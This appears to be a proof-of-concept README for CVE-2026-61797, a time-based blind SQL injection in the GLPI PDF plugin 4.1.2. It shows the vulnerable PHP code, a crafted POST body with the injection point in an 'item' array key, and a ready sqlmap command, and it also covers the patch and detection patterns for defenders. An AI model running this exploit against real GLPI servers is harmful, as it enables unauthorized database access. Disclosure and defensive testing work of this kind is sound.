## https://sploitus.com/exploit?id=01F5352E-B308-56D5-BD2F-D2F155D0541B
# CVE-2026-61797 — GLPI PDF Plugin Time-Based Blind SQL Injection
Proof of Concept for **CVE-2026-61797**, a time-based blind SQL Injection vulnerability affecting the GLPI PDF plugin.
The vulnerability can be reached through:
```text
/marketplace/pdf/front/preference.form.php
```
In the vulnerable implementation, user-controlled values from the `item` POST array are inserted into SQL queries without proper parameterization.
An authenticated low-privileged GLPI user can abuse this behavior to inject SQL expressions and infer database information through response timing.
---
## Vulnerability
| Field | Value |
| ---------------- | ----------------------------------- |
| CVE | CVE-2026-61797 |
| Product | GLPI PDF Plugin |
| Tested version | 4.1.2 |
| Fixed version | 4.1.3 |
| Vulnerability | Time-Based Blind SQL Injection |
| Authentication | Required on the tested 4.1.2 branch |
| Attack vector | Network |
| User interaction | None |
| Database | MySQL |
| CVSS | 6.1 / 10 |
| Advisory | GHSA-wwr3-v347-c64m |
The vulnerable code eventually places the attacker-controlled `item` key into the `tabref` field of an SQL `INSERT` statement.
Conceptually, the vulnerable operation looked like:
```php
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
```
Because `$key` becomes part of the SQL statement, a crafted array key can modify the resulting query.
---
## Requirements
The PoC requires:
* A GLPI instance running a vulnerable version of the PDF plugin.
* A valid authenticated GLPI session.
* A valid CSRF token.
* `sqlmap`.
* Authorization to test the target.
The PoC was validated against **PDF Plugin 4.1.2**.
---
## Proof of Concept
Capture a legitimate request to:
```text
POST /marketplace/pdf/front/preference.form.php
```
and save it as:
```text
glpi.sqli
```
A minimal request body suitable for marking the injection point is:
```text
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=
```
The `*` tells `sqlmap` which part of the request should be tested.
Example request structure:
```http
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=
```
---
## Validation with sqlmap
Run:
```bash
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "" \
--technique=T \
--level=5 \
--risk=1 \
--batch
```
A vulnerable installation should be identified as accepting a **time-based blind SQL injection** at the custom POST injection point.
Typical detection resembles:
```text
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
```
The technique relies on conditional MySQL delays such as `SLEEP()` to determine whether an injected condition evaluates to true.
This repository intentionally limits the documented PoC to vulnerability verification and does not provide database-dumping or credential-extraction commands.
---
## Technical Details
The vulnerable request reaches:
```text
plugins/pdf/front/preference.form.php
```
The application processes values similar to:
```text
item[]=1
```
PHP converts this into an associative array, where the attacker controls the array key.
That key is later used as `$key` by the plugin and, in the vulnerable version, is concatenated directly into an SQL statement.
The resulting data flow is effectively:
```text
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
```
A time-based payload can therefore influence the SQL expression and make the database deliberately delay the response when a supplied condition is true.
Because the application does not return the SQL query results directly, exploitation is performed as a **blind SQL injection**.
---
## Patch
The issue was fixed in **PDF Plugin 4.1.3**.
The vulnerable raw SQL operations were replaced with safer database/ORM mechanisms and additional authorization logic.
Users should upgrade to:
```text
PDF Plugin >= 4.1.3
```
or a newer supported release.
---
## Detection
Defenders may want to review HTTP requests targeting:
```text
/marketplace/pdf/front/preference.form.php
```
with unusual `item[...]` parameter names.
Particularly suspicious patterns include SQL syntax or time-delay functions occurring inside an array key, for example references to:
```text
SLEEP(
SELECT
AND
OR
||
'
"
```
Repeated POST requests to the endpoint followed by consistent multi-second response delays may also indicate attempts to exploit a time-based blind SQL injection.
---
## Responsible Use
This Proof of Concept is provided exclusively for:
* security research;
* vulnerability verification;
* penetration tests performed with authorization;
* defensive validation;
* detection engineering.
Do not use it against systems you do not own or have explicit permission to test.
The authors assume no responsibility for unauthorized or unlawful use of this material.
---
## Credits
Vulnerability research and original technical analysis:
**ITRESIT Labs — Javier Medina**
Original research:
https://labs.itresit.es/2026/09/14/source-driven-recon-when-the-patch-becomes-the-poc-and-what-cve-2026-61797-taught-us-about-disclosure-opsec/
CVE:
```text
CVE-2026-61797
```
GitHub Security Advisory:
```text
GHSA-wwr3-v347-c64m
```
---
## Disclaimer
This repository is intended for educational and authorized security-testing purposes only.
Always obtain explicit permission before testing systems that you do not own.